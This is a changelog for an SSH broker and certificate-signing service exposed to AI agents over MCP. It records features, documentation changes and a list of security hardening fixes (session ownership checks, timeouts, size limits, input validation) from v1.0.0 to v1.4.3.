API.md: new dedicated API reference document covering all HTTP endpoints across all three services — signer (POST /v1/sign,GET /v1/hosts,POST /v1/reload), broker HTTP (POST /v1/ssh_run), and MCP HTTP (GET /.well-known/oauth-protected-resource+ Streamable HTTP tools). Each endpoint documents auth requirements, request/response schemas, error codes, and audit outcomes. Includes audit log field reference, outcome value table,jqcorrelation examples, and Ed25519 chain integrity description.README.md:## API Referencesection replaced with a summary table + link toAPI.md.HANDOFF.md: added mandatoryAPI.mdupdate rule (step 3 in pre-commit checklist) and English language rule for all new commit messages, documentation files, and code comments.
Changed¶
README.md: full rewrite in English. All sections translated; reorganized to match current feature set (v1.4.3).
[v1.4.3] - 2026-06-05¶
Added¶
README.md: section## Client-to-broker authenticationwith a comparison table of the three frontends, step-by-step OAuth2/OIDC flow, and identity propagation diagram to the signer.README.md: section## Broker-to-SSH-server authenticationwith diagrams of ephemeral key-pair generation, certificate signing by the signer (cert fields: principal, TTL, source-address, force-command, permit-pty), SSH handshake with pinned host key verification, sshd checks, and ProxyJump flow with independent cert per hop.
Fixed¶
README.md: added missing## Testingheader above the lab bash block.
[v1.4.2] - 2026-06-05¶
Added¶
README.md: section "Registering the MCP in OpenCode" with the correct config for~/.config/opencode/opencode.json(type: "local",commandas array).
[v1.4.1] - 2026-06-05¶
Security¶
- C1 (critical)
internal/broker/session.go:SessionExecandCloseSessionverify that the caller owns the session before operating;CloseSessionperforms get-before-delete to avoid removing sessions owned by other callers. - A1 (high)
cmd/signer/main.go,cmd/mcp-broker-http/main.go:ReadTimeout,WriteTimeout(signer only),IdleTimeoutonhttp.Server. - A2 (high)
cmd/signer/main.go,internal/signer/remote.go:http.MaxBytesReader(64 KiB)on/v1/sign;io.LimitReader(1 MiB)on bothio.ReadAllcalls inremote.go. - A3 (high)
internal/ssh/run.go,internal/ssh/shell.go:defaultExecTimeout=10 min;maxOutputBytes=10 MiB;limitedWriter;session.Signal(SIGTERM)on timeout; shell/pty silently discards excess bytes. - A4 (high)
internal/audit/log.go:restoreChain()withbufio.Scanner(256 KiB buffer) restoresseq+prevHashfrom the last record on restart; without this fix the broker broke the audit chain on every restart. - M1 (medium)
internal/broker/engine.go,cmd/signer/main.go:auditLog.Appenderrors are no longer silenced with_ =; logged vialog.Printf. - M2 (medium)
internal/broker/session.go:maxSessionsGlobal=200,maxSessionsPerCaller=20;sessionManager.add()returnserror. - M3 (medium)
internal/oauth/verifier.go,internal/broker/engine.go,cmd/mcp-broker-http/main.go:MaxTokenAgefield inConfig/Verifier; validates theiatclaim whenmaxTokenAge > 0;OAuthConfig.MaxTokenAgeSeconds(recommended: 3600). - M5 (medium)
internal/broker/session.go:SessionExecrejects commands containing\nor\r. - L1 (low)
internal/ca/sign.go:LoadCAFromPEMemits a[WARN]at runtime indicating lab-only use. - L2 (low)
internal/audit/log.go:maybeRotate()rotates the audit file when it exceeds 100 MiB, renaming to<path>.20060102T150405Z. - L4 (low)
internal/mcpserver/tools.go:validateInput()limits all input fields to 64 KiB and rejects null bytes; called in all 4 tool handlers before reaching the engine.
[v1.4.0] - 2026-06-04¶
Added¶
- Remote MCP frontend
cmd/mcp-broker-http: Streamable HTTP + OAuth2/OIDC (RFC 9728 + Authorization Code + PKCE). - Local OIDC bearer token validation against the issuer's JWKS (
go-oidc): no round-trip per request, noclient_secret. - OIDC identity (
user_claim, e.g.preferred_username) asCaller.IDin the broker's audit log. - Per-end-user RBAC: when the token carries
groups_claim, the groups are propagated to the signer asEndUserGroups; the signer requireshp.Groups ∩ EndUserGroups ≠ ∅(in addition to mTLS CN RBAC). /.well-known/oauth-protected-resource(RFC 9728) for Authorization Server discovery by the MCP client.internal/mcpserver: tools extracted to a shared package; both frontends (stdio and HTTP) use the sameRegister(eng, callerFn).internal/oauth/verifier.go:NewVerifier+VerifywithUserID,Scopes, and groups extraction; tests with fake OIDC IdP (httptest+go-joseRSA).internal/auth/mtls.go:ServerTLSConfigNoClientAuthfor the HTTP+OAuth frontend (TLS without mTLS).OAuthConfigandResourceURLinbroker.Config; injectableCallerFuncinmcpserver.New.
Changed¶
- MCP tool descriptions improved to reduce model errors:
ssh_executeandssh_session_open: explicit guidance not to retry whenallow_sudo/allow_ptyis false.executeOutput: documentedexit_code(command failure ≠ tool error),stderr(empty with pty), andserial(audit only).ttl_seconds: clarified as optional; the host policy maximum is used when omitted.- Cross-reference
ssh_executevsssh_session_open: when to prefer each. ssh_session_open/ssh_session_close: warning to always close the session.ssh_session_exec: documents state persistence by mode.ssh_list_servers: explains whatallow_sudo/allow_ptyfalse implies.sessionOpenInput.mode: describes the three modes with concrete use cases.- MCP server
Implementationversion synchronised:0.2.0→1.2.0.
[v1.2.0] - 2026-06-04¶
Added¶
ssh_list_serversnow returns per-host capabilities:allow_sudo,allow_pty, andjump, so the model can choose the correct execution strategy without attempting and failing.GET /v1/hostsfrom the signer includesallow_sudoandallow_ptyin the response (WireHostInfo).HostInfoandServerInfo(broker internal) propagateAllowSudo/AllowPTYfrom both modes (local and remote).ssh_executeandssh_session_opendescriptions updated to instruct the model to check capabilities before usingsudo/pty.
[v1.1.1] - 2026-06-04¶
Fixed¶
- Signer audit: the
hostfield now records the real FQDN/addr (hp.Addr) instead of the short logical name. - Signer audit: the
userandprincipalfields are now correctly populated inissuedanddeniedevents.
[v1.1.0] - 2026-06-04¶
Added¶
- CLI
broker-ctl(cmd/broker-ctl) for managingsigner.jsonwithout editing JSON by hand: host add: adds or updates a host with all its parameters;--scanrunsssh-keyscanautomatically.host list: formatted table of hosts with addr, user, principal, TTL, sudo, PTY, groups.host remove: removes a host from the configuration.reload: SIGHUP when the signer runs locally (detectssigner.pid), POST/v1/reloadmTLS as fallback.- Preserves
_commentfields and JSON annotations when writing (atomic write via rename).
[v1.0.0] - 2026-06-03¶
Added¶
- SSH broker with in-memory Ed25519 ephemeral key generation (keys never touch disk).
- External signing service (
cmd/signer) with exclusive SSH CA key custody via HTTPS+mTLS. - MCP stdio interface (
cmd/mcp-broker): toolsssh_execute,ssh_session_open,ssh_session_exec,ssh_session_close,ssh_list_servers. - ProxyJump support (multi-hop chains through a bastion).
- Policy-gated
sudo NOPASSWDelevation in the signer:allow_sudo,allowed_sudo_users, anti-injection sanitisation. - Persistent sessions with three modes:
exec,shell(no PTY), andpty(with PTY). - PTY support in one-shot and sessions:
allow_ptyper host,permit-ptyin the certificate. - Hot-reload of
signer.jsonwithout restart:SIGHUPandPOST /v1/reload(mTLS, gated byreload_callers). - Triple signed and hash-chained audit by
serial(Ed25519 + SHA-256): signer, broker, and sshd correlated. - Group-based RBAC:
groupsfield per host andcallerssection insigner.json;GET /v1/hostsfilters by caller groups,POST /v1/signrejects out-of-group hosts beforeResolve(). - Alternative HTTP+mTLS frontend (
cmd/broker) for one-shot use without MCP. - Local PKI generated: Ed25519 SSH CA, mTLS CA, server/client certs, audit seeds.
- End-to-end lab scripts:
lab/run_mcp_lab.sh,lab/run_signer_lab.sh.